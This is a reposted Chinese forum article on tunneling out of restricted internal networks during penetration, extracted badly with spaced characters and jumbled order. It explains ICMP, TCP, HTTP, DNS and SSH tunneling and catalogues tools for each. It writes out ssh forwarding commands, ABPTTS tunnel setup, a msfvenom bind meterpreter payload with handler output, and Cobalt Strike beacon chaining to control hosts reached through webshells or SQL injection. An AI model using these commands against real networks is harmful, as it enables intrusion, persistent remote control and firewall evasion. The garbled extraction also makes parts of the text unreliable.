搜索

[22039] 2021-06-04_内网渗透之内网穿透

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-04_内网渗透之内网穿透 内 网 渗 透 之 内 网 穿 透 L e m o n S e c   2 0 2 1 - 0 6 - 0 4 文 章 来 源 ： 文 章 来 源 ： 先 知 社 区 先 知 社 区 0 x 0   前 言 前 言 网 络 上 关 于 内 网 穿 透 的 文 章 很 多 ， 但 大 部 分 都 是 侧 重 于 工 具 的 使 用 ， 原 理 提 及 较 少 。 本 文 将 从 内 网 穿 透 的 原 理 开 始 探 讨 ， 根 据 不 同 的 内 网 出 网 入 网 情 况 ， 灵 活 设 计 对 应 的 内 网 穿 透 方 案 。 0 x 1   内 网 穿 透 原 理 内 网 穿 透 原 理 内 网 穿 透 是 内 网 穿 透 是 : 利 用 各 种 隧 道 技 术 ， 以 网 络 防 火 墙 允 许 的 协 议 ， 绕 过 网 络 防 火 墙 的 封 锁 ， 实 现 访 问 被 封 锁 的 目 标 网 络 。 利 用 各 种 隧 道 技 术 ， 以 网 络 防 火 墙 允 许 的 协 议 ， 绕 过 网 络 防 火 墙 的 封 锁 ， 实 现 访 问 被 封 锁 的 目 标 网 络 。 什 么 是 隧 道 技 术 呢 ？ 我 们 看 一 下 百 科 词 条 的 解 释 隧 道 技 术 是 一 种 通 过 使 用 互 联 网 络 的 基 础 设 施 在 网 络 之 间 传 递 数 据 的 方 式 。 使 用 隧 道 传 递 的 数 据 ( 或 负 载 ) 可 以 是 不 同 协 议 的 数 据 帧 或 包 。 隧 道 协 议 将 这 些 其 他 协 议 的 数 据 帧 或 包 重 新 封 装 在 新 的 包 头 中 发 送 。 新 的 包 头 提 供 了 路 由 信 息 ， 从 而 使 封 装 的 负 载 数 据 能 够 通 过 互 联 网 络 传 递 。 被 封 装 的 数 据 包 在 隧 道 的 两 个 端 点 之 间 通 过 公 共 互 联 网 络 进 行 路 由 。 被 封 装 的 数 据 包 在 公 共 互 联 网 络 上 传 递 时 所 经 过 的 逻 辑 路 径 称 为 隧 道 。 一 旦 到 达 网 络 终 点 ， 数 据 将 被 解 包 并 转 发 到 最 终 目 的 地 。 注 意 隧 道 技 术 是 指 包 括 数 据 封 装 、 传 输 和 解 包 在 内 的 全 过 程 。 我 们 进 行 内 网 渗 透 常 用 的 隧 道 技 术 有 d n s 隧 道 、 h t t p 隧 道 、 s s h 隧 道 、 i c m p 隧 道 等 容 易 被 网 络 防 火 墙 放 行 的 协 议 。 这 些 隧 道 技 术 可 以 按 所 处 的 协 议 层 分 层 。 网 络 层 隧 道 I C M P 隧 道 等 传 输 层 隧 道 T C P 隧 道 、 U D P 隧 道 应 用 层 隧 道 H T T P 、 D N S 、 S S H 等 隧 道 内 网 主 机 所 有 可 能 的 出 网 方 式 内 网 主 机 所 有 可 能 的 出 网 方 式 允 许 I C M P 协 议 出 网 网 络 防 火 墙 允 许 I C M P 协 议 出 网 ， 即 能 p i n g 通 外 网 主 机 ， 一 般 都 能 出 网 允 许 特 定 的 T C P 或 U D P 协 议 端 口 出 网 网 络 防 火 墙 允 许 特 定 的 T C P 或 者 U D P 端 口 出 网 ， 比 如 连 接 外 网 的 2 2 、 5 3 、 8 0 、 4 4 3 、 3 3 8 9 等 常 见 应 用 的 默 认 监 听 端 口 。 在 一
个 不 能 出 网 的 网 络 环 境 里 面 ， 将 所 有 的 T C P 和 U P D 端 口 都 探 测 一 遍 ， 通 常 都 能 发 现 有 一 两 个 常 见 的 端 口 能 出 网 。 这 通 常 是 由 于 网 络 管 理 员 的 错 误 配 置 和 偷 懒 行 为 导 致 。 比 如 配 置 的 防 火 墙 规 则 前 后 矛 盾 ， 解 析 的 时 候 遇 到 匹 配 规 则 就 退 出 执 行 ； 比 如 网 络 管 理 员 配 置 允 许 w e b 服 务 器 访 问 另 一 子 网 的 m y s q l 数 据 库 的 3 3 0 6 端 口 。 网 络 管 理 员 配 置 时 偷 懒 ， 可 能 会 直 接 放 行 w e b 服 务 器 到 任 意 i p 地 址 的 3 3 0 6 端 口 允 许 特 定 的 应 用 层 协 议 出 网 （ 比 如 H T T P 、 S S H 、 D N S 等 应 用 层 协 议 ） 这 种 网 络 防 火 墙 能 识 别 应 用 层 的 协 议 ， 放 行 允 许 出 网 的 协 议 ， 比 如 H T T P 、 S S H 、 D N S 、 R D P 等 应 用 层 协 议 ; 通 常 办 公 网 是 允 许 H T T P 协 议 出 网 的 ， 可 能 会 域 名 白 名 单 限 制 内 网 主 机 所 有 可 能 的 入 网 方 式 内 网 主 机 所 有 可 能 的 入 网 方 式 允 许 I C M P 协 议 入 网 能 p i n g 通 目 标 主 机 允 许 特 定 的 T C P 或 U D P 协 议 端 口 入 网 N A T 端 口 映 射 公 网 I P 端 口 到 内 网 主 机 的 服 务 端 口 ， 比 如 将 w e b 服 务 、 m y s q l 服 务 N A T 映 射 到 公 网 允 许 特 定 的 应 用 层 协 议 入 网 这 种 网 络 防 火 墙 能 识 别 应 用 层 的 协 议 ， 放 行 允 许 入 网 的 协 议 。 比 如 H T T P 反 向 代 理 ， 将 公 网 收 到 的 H T T P 流 量 反 向 代 理 进 内 网 主 机 。 当 前 主 流 的 入 网 方 式 ， 通 常 会 加 层 W A F 审 查 入 网 流 量 0 x 2   内 网 穿 透 常 用 工 具 内 网 穿 透 常 用 工 具 0 x 2 . 1   网 络 层 隧 道 工 具 网 络 层 隧 道 工 具 i c m p s h 能 通 过 I C M P 协 议 反 弹 c m d ， 功 能 单 一 ， 反 弹 回 来 的 c m d 极 不 稳 定 ， 不 推 荐 使 用 i c m p t u n n e l 创 建 虚 拟 网 卡 通 过 I C M P 协 议 传 输 网 卡 流 量 ， 基 于 I C M P 隧 道 的 v p n ， 需 要 r o o t 权 限 ， 动 静 极 大 ， 不 推 荐 使 用 p i n g t u n n e l t c p 、 u d p 、 s o c k s 5   o v e r   I C M P ， 速 度 快 ， 连 接 稳 定 ， 跨 平 台 ， c l i e n t 模 式 不 需 要 管 理 员 权 限 即 可 正 常 使 用 ， 推 荐 使 用 0 x 2 . 2   传 输 层 隧 道 工 具 传 输 层 隧 道 工 具 n e t c a t 网 络 工 具 中 的 瑞 士 军 刀 ， 不 多 介 绍 ， l i n u x 系 统 一 般 自 带
p o w e r c a t p o w e r s h e l l 版 的 n e t c a t s o c a t 具 有 记 录 转 发 流 的 功 能 ， 方 便 查 看 转 发 内 容 ， 需 要 安 装 n e t s h w i n d o w s 系 统 自 带 的 网 络 配 置 工 具 l c x 端 口 转 发 工 具 N A T B y p a s s 一 款 l c x 在 g o l a n g 下 的 实 现 , 更 好 的 跨 平 台 ， 更 完 善 的 文 档 i o x 端 口 转 发   &   内 网 代 理 工 具 ， 功 能 类 似 于 l c x / e w ， 简 化 了 命 令 行 参 数 ， 支 持 U D P 流 量 转 发 ， 更 好 的 跨 平 台 。 缺 点 ： 不 支 持 监 听 指 定 I P ， 默 认 监 听 0 . 0 . 0 . 0 : p o r t ， 会 增 大 暴 露 风 险 0 x 2 . 3   应 用 层 隧 道 工 具 应 用 层 隧 道 工 具 由 于 应 用 层 协 议 极 多 ， 对 应 的 隧 道 工 具 也 很 多 ， 我 们 常 用 来 做 隧 道 的 协 议 一 般 是 D N S 、 H T T P 、 S S H 、 S O C K S 等 d n s c a t 2 不 仅 可 以 创 建 D N S 隧 道 ， 更 是 C 2 d n s c a t 2 - p o w e r s h e l l d n s c a t 2 的 p o w e r s h e l l 客 户 端 d n s 2 t c p T C P   o v e r   D N S , 即 通 过 D N S 隧 道 转 发 T C P 连 接 i o d i n e I P v 4   o v e r   D N S ， 即 通 过 D N S 隧 道 转 发 I P v 4 数 据 包 r e G e o r g S O C K S   o v e r   H T T P , 即 通 过 H T T P 隧 道 转 发 S O C K S
N e o - r e G e o r g 重 构 版 r e G e o r g ， 提 高 稳 定 性 和 可 用 性 ， 避 免 特 征 检 测 ， 更 新 活 跃 r e D u h T C P   o v e r   H T T P , 即 通 过 H T T P 隧 道 转 发 T C P 连 接 ， 隧 道 不 稳 定 T u n n a T C P 、 S O C K S   o v e r   H T T P , 即 通 过 H T T P 隧 道 转 发 T C P 连 接 和 S O C K S ， 隧 道 不 稳 定 A B P T T S T C P   o v e r   H T T P , 即 通 过 H T T P 隧 道 转 发 T C P 连 接 , 数 据 加 密 ， 可 自 定 义 H T T P 数 据 ， 对 抗 特 征 检 测 十 分 优 秀 ， 创 建 的 隧 道 十 分 稳 定 ， 比 较 遗 憾 的 是 支 持 的 w e b 脚 本 类 型 只 有 a s p x 和 j s p E a r t h W o r m 十 分 方 便 的 多 级 S O C K S 代 理 ， 已 经 永 久 停 止 更 新 T e r m i t e E a r t h W o r m 的 升 级 版 ， 已 经 永 久 停 止 更 新 V e n o m V e n o m 是 一 款 为 渗 透 测 试 人 员 设 计 的 使 用 G o 开 发 的 多 级 代 理 工 具 。 s s o c k s 正 向 和 反 向 的 s o c k s 工 具 ， 可 执 行 文 件 的 大 小 很 小 s 5 . g o g o 语 言 编 写 的 s o c k s 服 务 工 具 ， 良 好 的 跨 平 台 特 性 s s h 本 地 转 发 ： 本 地 转 发 ： 远 程 转 发 ： 远 程 转 发 ： s s h   - C N f g   - L   1 2 7 . 0 . 0 . 1 : 7 7 7 7 : 1 1 4 . 1 1 4 . 1 1 4 . 1 1 4 : 9 9 9 9   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 # s s h 客 户 端 监 听 1 2 7 . 0 . 0 . 1 : 7 7 7 7 ,   将 收 到 的 t c p 数 据 包 通 过 连 接 到 1 9 2 . 1 6 8 . 1 . 1 的 s s h 隧 道 转 发 到 s s h 服 务 端 ， 再 由 服 务 端 转 发 到 1 1 4 . 1 1 4
动 态 转 发 ： 动 态 转 发 ： 构 建 构 建 s s h 隧 道 的 常 用 参 数 隧 道 的 常 用 参 数 : 0 x 3   实 战 中 的 内 网 穿 透 案 例 实 战 中 的 内 网 穿 透 案 例 0 x 3 . 1   上 线 零 出 网 的 内 网 主 机 上 线 零 出 网 的 内 网 主 机 实 战 背 景 ： 实 战 背 景 ： 获 取 了 w e b s h e l l 的 主 机 位 于 内 网 ， 并 且 该 内 网 主 机 i c m p 等 网 络 层 协 议 不 能 出 网 ， t c p 和 u d p 等 传 输 层 协 议 不 能 出 网 ， d n s 、 h t t p 等 应 用 层 协 议 也 不 能 出 网 ， 唯 一 的 数 据 通 道 是 反 向 代 理 入 网 的 w e b 应 用 。 方 案 设 计 方 案 设 计 利 用 反 向 代 理 入 网 的 w e b 应 用 所 在 的 H T T P 连 接 ， 构 建 正 向 的 隧 道 。 通 过 这 条 隧 道 ， 我 们 可 以 向 内 网 主 机 发 起 t c p 连 接 。 生 成 b i n d 类 型 的 p a y l o a d ， 通 过 w e b s h e l l 上 传 执 行 就 会 监 听 一 个 端 口 ， 我 们 的 远 控 平 台 通 过 构 建 的 隧 道 ， 去 连 接 监 听 的 端 口 即 可 上 线 。 能 构 建 的 隧 道 的 工 具 有 等 ， 由 于 s s h   - C N f g   - R   1 2 7 . 0 . 0 . 1 : 7 7 7 7 : 1 1 4 . 1 1 4 . 1 1 4 . 1 1 4 : 9 9 9 9   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 # s s h 服 务 端 监 听 1 2 7 . 0 . 0 . 1 : 7 7 7 7 ,   将 收 到 的 t c p 数 据 包 通 过 连 接 到 1 9 2 . 1 6 8 . 1 . 1 的 s s h 隧 道 转 发 到 s s h 客 户 端 ， 再 由 s s h 客 户 端 转 发 到 1 1 4 . 1 1 4 s s h   - C N f g   - D   1 2 7 . 0 . 0 . 1 : 7 7 7 7   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 #   s s h 客 户 端 监 听 1 2 7 . 0 . 0 . 1 : 7 7 7 7 开 启 s o c k s 服 务 ， 将 收 到 的 s o c k s 数 据 包 通 过 连 接 到 1 9 2 . 1 6 8 . 1 . 1 的 s s h 隧 道 转 发 到 s s h 服 务 端 ， 再 由 s s h 服 务 端 转 发 到 目 标 地 址 - C   压 缩 传 输 ， 提 高 传 输 速 度 - f   后 台 执 行 数 据 传 输 - N   建 立 静 默 连 接 - g   允 许 远 程 主 机 连 接 本 地 用 于 转 发 的 端 口 - L   本 地 端 口 转 发 - R   远 程 端 口 转 发 - D   动 态 转 发 ， 即 S O C K S 代 理 - p   指 定 s s h 连 接 端 口 T C P   o v e r   H T T P T C P   o v e r   H T T P T C P   o v e r   H T T P A B P T T S 、 T u n n a 、 r e D u h T u n n a 、 r e D u h
构 建 的 t c p 连 接 不 稳 定 ， 这 里 选 用 。 0 x 3 . 1 . 1   上 线 上 线 m e t a s p l o i t 1 . 通 过 正 向 的 通 过 正 向 的 h t t p 隧 道 构 建 隧 道 构 建 t c p 连 接 连 接 2 . 生 成 生 成 b i n d 类 型 的 类 型 的 p a y l o a d ， 通 过 ， 通 过 w e b s h e l l 上 传 执 行 上 传 执 行 3 . 启 动 启 动 m s f 监 听 ， 等 待 监 听 ， 等 待 m e t e r p r e t e r 执 行 上 线 执 行 上 线 T u n n a 、 r e D u h A B P T T S #   配 置 a b p t t s 运 行 环 境 #   注 意 w i n d o w s 安 装 p y c r y p t o 库 需 要 先 安 装 依 赖 h t t p : / / a k a . m s / v c p y t h o n 2 7 p i p   i n s t a l l   h t t p l i b 2 p i p   i n s t a l l   p y c r y p t o #   生 成 s e r v e r 端 脚 本 p y t h o n   a b p t t s f a c t o r y . p y   - o   s e r v e r #   上 传 s e r v e r 端 脚 本 到 w e b 服 务 器 ， 客 户 端 运 行 以 下 命 令 p y t h o n   a b p t t s c l i e n t . p y   - c   s e r v e r / c o n f i g . t x t   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 0 / a b p t t s . a s p x "   - f   1 2 7 . 0 . 0 . 1 : 7 7 7 7 / 1 2 7 . 0 . 0 . 1 : 8 8 8 8 #   a b p t t s 客 户 端 监 听 1 2 7 . 0 . 0 . 1 : 7 7 7 7 ， 通 过 h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 0 / a b p t t s . a s p x 这 个 h t t p 隧 道 ， 将 t c p 连 接 1 2 7 . 0 . 0 . 1 : 7 7 7 7 转 发 到 w e b 服 务 器 网 络 下 的 1 2 7 . 0 . 0 . 1 : 8 8 8 8 #   这 里 的 r h o s t 和 l p o r t 是 转 发 的 目 的 I P 和 端 口 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / b i n d _ t c p   r h o s t = 1 2 7 . 0 . 0 . 1   l p o r t = 8 8 8 8   - f   e x e   - o   m e t e r p r e t e r . e x e
0 x 3 . 1 . 2   上 线 上 线 c o b a l t s t r i k e 由 于 由 于 c o b a l t s t r i k e 的 的 b i n d 类 型 的 监 听 器 仅 有 类 型 的 监 听 器 仅 有 b e a c o n   T C P 和 和 b e a c o n   S M B ， 并 且 都 必 须 连 接 到 父 ， 并 且 都 必 须 连 接 到 父 b e a c o n ， 无 法 直 接 连 接 ， 无 法 直 接 连 接 c o b a l s t r i k e 服 务 端 ， 所 以 我 们 需 要 一 个 父 服 务 端 ， 所 以 我 们 需 要 一 个 父 b e a c o n 来 中 转 连 接 。 来 中 转 连 接 。 1 . 通 过 正 向 的 h t t p 隧 道 构 建 t c p 连 接 # 这 里 的 r h o s t 和 l p o r t 是 a b p t t s 客 户 端 监 听 的 I P 和 端 口 ， m s f 所 在 主 机 必 须 能 访 问 到 这 个 I P 和 端 口 ， 这 里 m s f 和 a b p t t s 在 同 一 个 主 机 上 m s f 5   >   u s e   e x p l o i t / m u l t i / h a n d l e r m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / b i n d _ t c p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / b i n d _ t c p m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   r h o s t   1 2 7 . 0 . 0 . 1 r h o s t   = >   1 2 7 . 0 . 0 . 1 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   7 7 7 7 l p o r t   = >   7 7 7 7 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   r u n [ * ]   S t a r t e d   b i n d   T C P   h a n d l e r   a g a i n s t   1 2 7 . 0 . 0 . 1 : 7 7 7 7 [ * ]   S e n d i n g   s t a g e   ( 1 8 0 2 9 1   b y t e s )   t o   1 2 7 . 0 . 0 . 1 [ * ]   M e t e r p r e t e r   s e s s i o n   1   o p e n e d   ( 0 . 0 . 0 . 0 : 0   - >   1 2 7 . 0 . 0 . 1 : 7 7 7 7 )   a t   2 0 2 0 - 0 4 - 2 7   0 4 : 5 0 : 2 5   - 0 4 0 0 m e t e r p r e t e r   >   g e t u i d S e r v e r   u s e r n a m e :   D E S K T O P - 0 A H 7 F Q 0 a d m i n #   配 置 a b p t t s 运 行 环 境 #   注 意 w i n d o w s 安 装 p y c r y p t o 库 需 要 先 安 装 依 赖 h t t p : / / a k a . m s / v c p y t h o n 2 7 p i p   i n s t a l l   h t t p l i b 2 p i p   i n s t a l l   p y c r y p t o #   生 成 s e r v e r 端 脚 本 p y t h o n   a b p t t s f a c t o r y . p y   - o   s e r v e r #   上 传 s e r v e r 端 脚 本 到 w e b 服 务 器 ， 客 户 端 运 行 以 下 命 令 p y t h o n   a b p t t s c l i e n t . p y   - c   s e r v e r / c o n f i g . t x t   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 2 1 / a b p t t s . a s p x "   - f   1 2 7 . 0 . 0 . 1 : 7 7 7 7 / 1 2 7 . 0 . 0 . 1 : 8 8 8 8 #   a b p t t s 客 户 端 监 听 1 2 7 . 0 . 0 . 1 : 7 7 7 7 ， 通 过 h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 2 1 / a b p t t s . a s p x 这 个 h t t p 隧 道 ， 将 t c p 连 接 1 2 7 . 0 . 0 . 1 : 7 7 7 7 转 发 到 w e b 服 务 器 网 络 下 的 1 2 7 . 0 . 0 . 1 : 8 8 8 8
2 . 创 建 反 向 的 创 建 反 向 的 l i s t e n e r 3 . 生 成 父 生 成 父 b e a c o n
4 . 上 传 父 上 传 父 b e a c o n 到 到 a b p t t s 客 户 端 执 行 上 线 客 户 端 执 行 上 线 5 . 创 建 创 建 p a y l o a d 为 为 t c p   b e a c o n 的 的 l i s t e n e r 6 . 生 成 生 成 s t a g e l e s s 的 子 的 子 b e a c o n
7 . 将 生 成 的 子 将 生 成 的 子 b e a c o n 通 过 通 过 w e b s h e l l 上 传 执 行 上 传 执 行 8 . 在 父 在 父 b e a c o n 中 连 接 中 连 接 a b p t t s 的 监 听 的 监 听 i p 和 端 口 和 端 口 9 . 成 功 上 线 不 能 出 网 的 成 功 上 线 不 能 出 网 的 w e b s h e l l 内 网 主 机 内 网 主 机 0 x 3 . 2   上 线 仅 上 线 仅 i c m p 协 议 出 网 的 内 网 主 机 协 议 出 网 的 内 网 主 机 实 战 背 景 ： 实 战 背 景 ： 通 过 某 种 信 道 获 取 了 内 网 主 机 的 s h e l l ， 但 是 当 前 信 道 不 适 合 做 远 控 的 通 信 信 道 （ 比 如 站 库 分 离 的 网 站 ， 我 们 通 过 s q l 注 入 获 取 了 数 据 库 服 务 器 的 s h e l l ， 但 是 数 据 库 服 务 器 只 有 i c m p 协 议 可 以 出 网 ） ， t c p 和 u d p 等 传 输 层 协 议 不 能 出 网 ， d n s 、 h t t p 等 应 用 层 协 议 也 不 能 出 网 ， 只 有 i c m p 协 议 可 以 出 网 。 方 案 设 计 方 案 设 计 i c m p 协 议 可 以 出 网 ， 可 以 利 用 i c m p 协 议 ， 构 建 反 向 的 #   可 以 通 过 w e b s h e l l 查 看 网 络 监 听 ， 确 保 子 b e a c o n 执 行 成 功 n e t s t a t   - a n o   |   f i n d s t r   1 2 7 . 0 . 0 . 1 : 8 8 8 8 T C P   o v e r   I C M P
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理